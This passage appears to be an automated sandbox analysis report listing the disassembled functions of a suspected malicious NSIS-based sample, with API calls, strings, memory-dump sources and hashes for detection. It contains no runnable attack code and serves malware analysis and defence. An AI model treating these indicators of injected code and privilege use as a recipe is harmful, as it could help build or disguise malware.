AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

TEMP, xrefs: 0040372D
\Temp, xrefs: 004036FF
.tmp, xrefs: 00403861
NSIS Error, xrefs: 00403567
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
~nsu, xrefs: 00403845
Low, xrefs: 0040371B
Error launching installer, xrefs: 004037D0
TMP, xrefs: 00403735
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
SeShutdownPrivilege, xrefs: 0040396F

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-334447862
Opcode ID: 05e616f99306ff785708979dde1941866962e16d7e4638c2318d7513fcce5d93
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: 05e616f99306ff785708979dde1941866962e16d7e4638c2318d7513fcce5d93
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

M, xrefs: 00404F76
, xrefs: 00405385
N, xrefs: 00405057

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 00405AFA Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00437800,771B2EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,00437800,771B2EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,00437800,771B2EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,00437800,771B2EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,00437800,771B2EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

\*.*, xrefs: 00405B65
0WB, xrefs: 00405B53

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$\*.*
API String ID: 2035342205-351390296
Opcode ID: c39e99c88a1dbfea07cbdfee3447eb09e3b7895857f1840ffe404f3b8fee67f3
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: c39e99c88a1dbfea07cbdfee3447eb09e3b7895857f1840ffe404f3b8fee67f3
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 37D1AFF8 Relevance: 11.7, Strings: 9, Instructions: 461COMMON

Download Yara Rule

Strings

PHq, xrefs: 37D1B62D
PHq, xrefs: 37D1B43D
PHq, xrefs: 37D1B331
PHq, xrefs: 37D1B345
PHq, xrefs: 37D1B619
PHq, xrefs: 37D1B429
", xrefs: 37D1B7CE
PHq, xrefs: 37D1B51E
PHq, xrefs: 37D1B532

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: "$PHq$PHq$PHq$PHq$PHq$PHq$PHq$PHq
API String ID: 0-4082700204
Opcode ID: 913cd680b5638274bfda90b399a237e9ef82518298b0679d7632ec8816a11063
Instruction ID: 3ed35b0420a9b59d77b32dad8f90d7fc7572ee6baadef479e2d3500a474102fe
Opcode Fuzzy Hash: 913cd680b5638274bfda90b399a237e9ef82518298b0679d7632ec8816a11063
Instruction Fuzzy Hash: 00328074E00218CFEB64CF69D994B9DBBB2BF89300F1081A9D549AB361DB759E85CF10

Function 37D1AFEB Relevance: 11.6, Strings: 9, Instructions: 368COMMON

Download Yara Rule

Strings

PHq, xrefs: 37D1B62D
PHq, xrefs: 37D1B43D
PHq, xrefs: 37D1B331
PHq, xrefs: 37D1B345
PHq, xrefs: 37D1B619
PHq, xrefs: 37D1B429
", xrefs: 37D1B7CE
PHq, xrefs: 37D1B51E
PHq, xrefs: 37D1B532

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: "$PHq$PHq$PHq$PHq$PHq$PHq$PHq$PHq
API String ID: 0-4082700204
Opcode ID: a6df15518be88e4f66f01096a45a93d4811acca26c732d68a14b0ae3292fa488
Instruction ID: d0810e882c3d16685d7ff68c6b4846621bd0b4aad8b1af9d265787c5584eca12
Opcode Fuzzy Hash: a6df15518be88e4f66f01096a45a93d4811acca26c732d68a14b0ae3292fa488
Instruction Fuzzy Hash: EB0291B4E003188FEB58CFA9C954BDDBBB2BB89300F1081A9D549AB355DB359E85CF50

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00437800,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,771B2EE0,00405B1A,?,00437800,771B2EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 37D17B4F Relevance: 1.9, Strings: 1, Instructions: 612COMMON

Download Yara Rule

Strings

B5, xrefs: 37D183D4

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: B5
API String ID: 0-3143426742
Opcode ID: 757a67cbd4af7d6aebd10ef58ed21e1b7f4241a5d7a66e19e2d8bc9d3482c532
Instruction ID: d9dfdceb50b84c02591ad2e89d1b480bc67bd570ec0efc8aec16ea96235b841c
Opcode Fuzzy Hash: 757a67cbd4af7d6aebd10ef58ed21e1b7f4241a5d7a66e19e2d8bc9d3482c532
Instruction Fuzzy Hash: 0E62AB74E01228CFDB64DF65C884BDDBBB2BB89311F1081E9E849AB255DB359E81CF50

Function 350CBD88 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563046356.00000000350C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 350C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_350c0000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a1fba0853b8e4c2481212858c5e023f351dc8729886b61e4d57b7c7d32dc1f5
Instruction ID: 3262a819b09d54142320f411b94095b51edee98570249cf5aed26401e72af6da
Opcode Fuzzy Hash: 8a1fba0853b8e4c2481212858c5e023f351dc8729886b61e4d57b7c7d32dc1f5
Instruction Fuzzy Hash: 4FC1A274E00218CFDB18DFA5D994B9DBBB2BF89300F2081A9D819BB355DB355A86CF50

Function 350CF043 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563046356.00000000350C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 350C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_350c0000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcf6134a1a206025c302928eda2dc9ed955733ef87fe596cc75bab4599c5f032
Instruction ID: 1583af051fe950be41071876e4df87552a46f2ee105d9dd1525d75cddfb92a0b
Opcode Fuzzy Hash: dcf6134a1a206025c302928eda2dc9ed955733ef87fe596cc75bab4599c5f032
Instruction Fuzzy Hash: 49C1B174E00218CFDB18DFA5C994B9DBBB2BF89300F6081A9D809BB355DB359A85CF10

Function 350CB07F Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563046356.00000000350C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 350C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_350c0000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 820d1defd394b2ba85157f203c38c312c7c3b757680d97d1640bb0c135e614e8
Instruction ID: 0d8b787fd6e89367b1b535155b462c0c417281d9d522ad279809909dc2e4b085
Opcode Fuzzy Hash: 820d1defd394b2ba85157f203c38c312c7c3b757680d97d1640bb0c135e614e8
Instruction Fuzzy Hash: 9AC1A274E00218CFDB18DFA5D995B9DBBB2BF89300F6081A9D809AB355DB355E86CF10

Function 350CDEE1 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563046356.00000000350C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 350C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_350c0000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e5d2585a64158cf785079a3b56c9aba615264cea428fa1bbf2ebe2a68c5d8ae
Instruction ID: 7b795cbc8756614050acb322459be01be0febb45cf6a16a8b1c7a3e2b6e1bc31
Opcode Fuzzy Hash: 1e5d2585a64158cf785079a3b56c9aba615264cea428fa1bbf2ebe2a68c5d8ae
Instruction Fuzzy Hash: BFC19174E00218CFDB18DFA5D995B9DBBB2BF89300F2081A9D809BB355DB359A85CF50

Function 350CE339 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563046356.00000000350C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 350C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_350c0000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a2c523233079632f0aa3ceb3fb4d95a8b0eb9f540b642634be58f79db891968
Instruction ID: 61b9ebc563092c188e2e589ca39b0dfa4520fca5db0feab7fcde08e3e24d78e1
Opcode Fuzzy Hash: 9a2c523233079632f0aa3ceb3fb4d95a8b0eb9f540b642634be58f79db891968
Instruction Fuzzy Hash: 52C19174E00218CFDB18DFA5D994B9DBBB2BF89300F2081A9D809BB355DB355A85CF50

Function 350CDA89 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563046356.00000000350C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 350C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_350c0000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b25edf40cf043434b3b96a55f8293683c94defb760ed652f79a9b95c42041a5
Instruction ID: e2948f5a2eec3e49c5609d39aba900c08b8c541755a08e88fce2d03a6ce5e9c3
Opcode Fuzzy Hash: 3b25edf40cf043434b3b96a55f8293683c94defb760ed652f79a9b95c42041a5
Instruction Fuzzy Hash: 19C1A174E00258CFDB18DFA5D994B9DBBB2BF89300F2081A9D819AB355DB355E85CF10

Function 37D167C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 789bfc8d263bfa67903f6de37be07f49ca054c626ed138e5e62701bcf491029b
Instruction ID: 42aa98cd35cb958c2a34b7a843ac1cfe8a657bb54709235012f0b1b63eb2c188
Opcode Fuzzy Hash: 789bfc8d263bfa67903f6de37be07f49ca054c626ed138e5e62701bcf491029b
Instruction Fuzzy Hash: 69C1A074E00218CFDB58DFA5D994B9DBBB2BF89300F2081A9D809AB355DB359A85CF50

Function 37D10FA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eef845f4e8c0ad0eb84cab012c05be4b05cbb22da1efbc3618183ff532efb583
Instruction ID: 7beed03e2f13d64265a9f38992f00ac6609743efd583d01111f0d9baa34c6ac3
Opcode Fuzzy Hash: eef845f4e8c0ad0eb84cab012c05be4b05cbb22da1efbc3618183ff532efb583
Instruction Fuzzy Hash: 7BC1A074E00218CFDB58DFA5D994B9DBBB2BF89300F2081A9D809BB355DB359A85CF50

Function 37D13F70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e854f4d7b290826178e9e81d9da1b503799fa449c54b0fc8e19c39314ea9dbb2
Instruction ID: 2163550c2c3bc532b9004269ba8f2d53b2296052d69aca4d8096f0bd7c661498
Opcode Fuzzy Hash: e854f4d7b290826178e9e81d9da1b503799fa449c54b0fc8e19c39314ea9dbb2
Instruction Fuzzy Hash: 83C1A074E00218CFDB58DFA5D994B9DBBB2AF89300F2081A9D809BB355DB359E85CF50

Function 37D15F10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b07d8c790716bf81893b41ad6cd52d5fda320336a75bece305ecead2cb3fdab
Instruction ID: f484ffcc83055e184323ec41772655a78fc3d049337069a8eeafd192cf28bae8
Opcode Fuzzy Hash: 2b07d8c790716bf81893b41ad6cd52d5fda320336a75bece305ecead2cb3fdab
Instruction Fuzzy Hash: 68C1A174E00218CFDB58DFA5C994B9DBBB2AF89300F1081A9D809BB355DB359E86CF50

Function 37D136C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ad791b9f06cfb2713e1594b49994effd693d274ca91234631e7af469b748562
Instruction ID: 75045d31fc91d72362d829581018949631381ca7239040c56aa4348fd6aaa78b
Opcode Fuzzy Hash: 5ad791b9f06cfb2713e1594b49994effd693d274ca91234631e7af469b748562
Instruction Fuzzy Hash: 46C19074E00218CFDB58DFA5D994B9DBBB2AF89300F2081A9D809BB355DB359E85CF50

Function 37D15660 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d73adbea00a8ee1a1bc2f2398104be098ea32fef81b43aa43c957f0f11ab1af
Instruction ID: fa7d310f2bb583bf51c1ee6087a9e8a67db8fcf16f502a469aa37c0b52dd1dbc
Opcode Fuzzy Hash: 5d73adbea00a8ee1a1bc2f2398104be098ea32fef81b43aa43c957f0f11ab1af
Instruction Fuzzy Hash: 44C1A174E00218CFDB58DFA5D994B9DBBB2AF89300F2081A9D809AB355DB359E85CF50

Function 37D12E10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01d6445dc9e368be3f0881e8bfde7ad91687a3301ff41b8a0b289544bc3c45e5
Instruction ID: b329e32dc95c16b8d8d0d77b9ec04db813521ec1f96a388065fff9478c9fd260
Opcode Fuzzy Hash: 01d6445dc9e368be3f0881e8bfde7ad91687a3301ff41b8a0b289544bc3c45e5
Instruction Fuzzy Hash: 6DC1A174E00218CFDB58DFA5C994B9DBBB2AF89300F2081A9D809BB355DB359E85CF50

Function 37D14DB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 832523079900365f6fa1ea239c4a3a0d91ff0bf7d967b671bf78878597902299
Instruction ID: 785d42e2d1c37653bfc47d03e7362b2a5895a68dbd94e59fb58afc9790f3530a
Opcode Fuzzy Hash: 832523079900365f6fa1ea239c4a3a0d91ff0bf7d967b671bf78878597902299
Instruction Fuzzy Hash: 1EC19174E00218CFDB58DFA5D994B9DBBB2AF89300F2081A9D809BB355DB359E85CF50

Function 37D12560 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdcf93779ee5415a68530a993b228694edb7a356eda5eb4d136376e30ff7625c
Instruction ID: a899db364c02fe4c4cb52b77add58edc69c28f19003f594917ce7d2359fd1ee9
Opcode Fuzzy Hash: fdcf93779ee5415a68530a993b228694edb7a356eda5eb4d136376e30ff7625c
Instruction Fuzzy Hash: B2C1A274E00218CFDB58DFA5D994B9DBBB2AF89300F1081A9D809BB355DB355E85CF50

Function 37D174C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4630ac4dff25c26cff206aac5411e4b0962903f138e8ab355ba8448e770803fe
Instruction ID: 523b5510e7845f1668da949ba174fefbc146bde3e09336d6460e75805ababcc3
Opcode Fuzzy Hash: 4630ac4dff25c26cff206aac5411e4b0962903f138e8ab355ba8448e770803fe
Instruction Fuzzy Hash: E3C19174E00218CFEB58DFA5D994B9DBBB2BF89300F1081A9D809AB355DB355E85CF50

Function 37D11CB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a0ca5b0ea770f75d68d93b03398d5c57705d098b0ea90386f35ccff5bc2bb77
Instruction ID: 7738b7551a862ff63832e260c1cfaad97272fd21efd27e35424a4ae5d72cb8be
Opcode Fuzzy Hash: 6a0ca5b0ea770f75d68d93b03398d5c57705d098b0ea90386f35ccff5bc2bb77
Instruction Fuzzy Hash: 66C1B074E00218CFDB58DFA5D994B9DBBB2AF89300F2081A9D809BB355DB359E85CF50

Function 37D16C18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1de1e96a21bbaded691dd02da9acc6f8c121e8e808cb442dd37f7232fcfac22
Instruction ID: 5fa6c6e2146b446dcabce46fb0908b4ed0d9ed287001971a99a449db13fc86d8
Opcode Fuzzy Hash: c1de1e96a21bbaded691dd02da9acc6f8c121e8e808cb442dd37f7232fcfac22
Instruction Fuzzy Hash: A8C19174E00218CFDB58DFA5D994B9DBBB2AF89300F1081A9D809BB355DB359E85CF50

Function 37D143C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08c44833467bd3cc678f5749cc64e21f3c942046ef0bd427a08c9bf4bf0a6a5a
Instruction ID: f1232efeaf1ed91afed96a7e4d2e7761ea8d19b947161dd5482a541a0ca6ac60
Opcode Fuzzy Hash: 08c44833467bd3cc678f5749cc64e21f3c942046ef0bd427a08c9bf4bf0a6a5a
Instruction Fuzzy Hash: 5BC19F74E00218CFDB58DFA5D994B9DBBB2AF89300F2081A9D809AB355DB359E85CF50

Function 37D16368 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c7bf6db8620ce5ef45a23a9c2303739cec4e19cc86547270332ed3c5e3acbbe
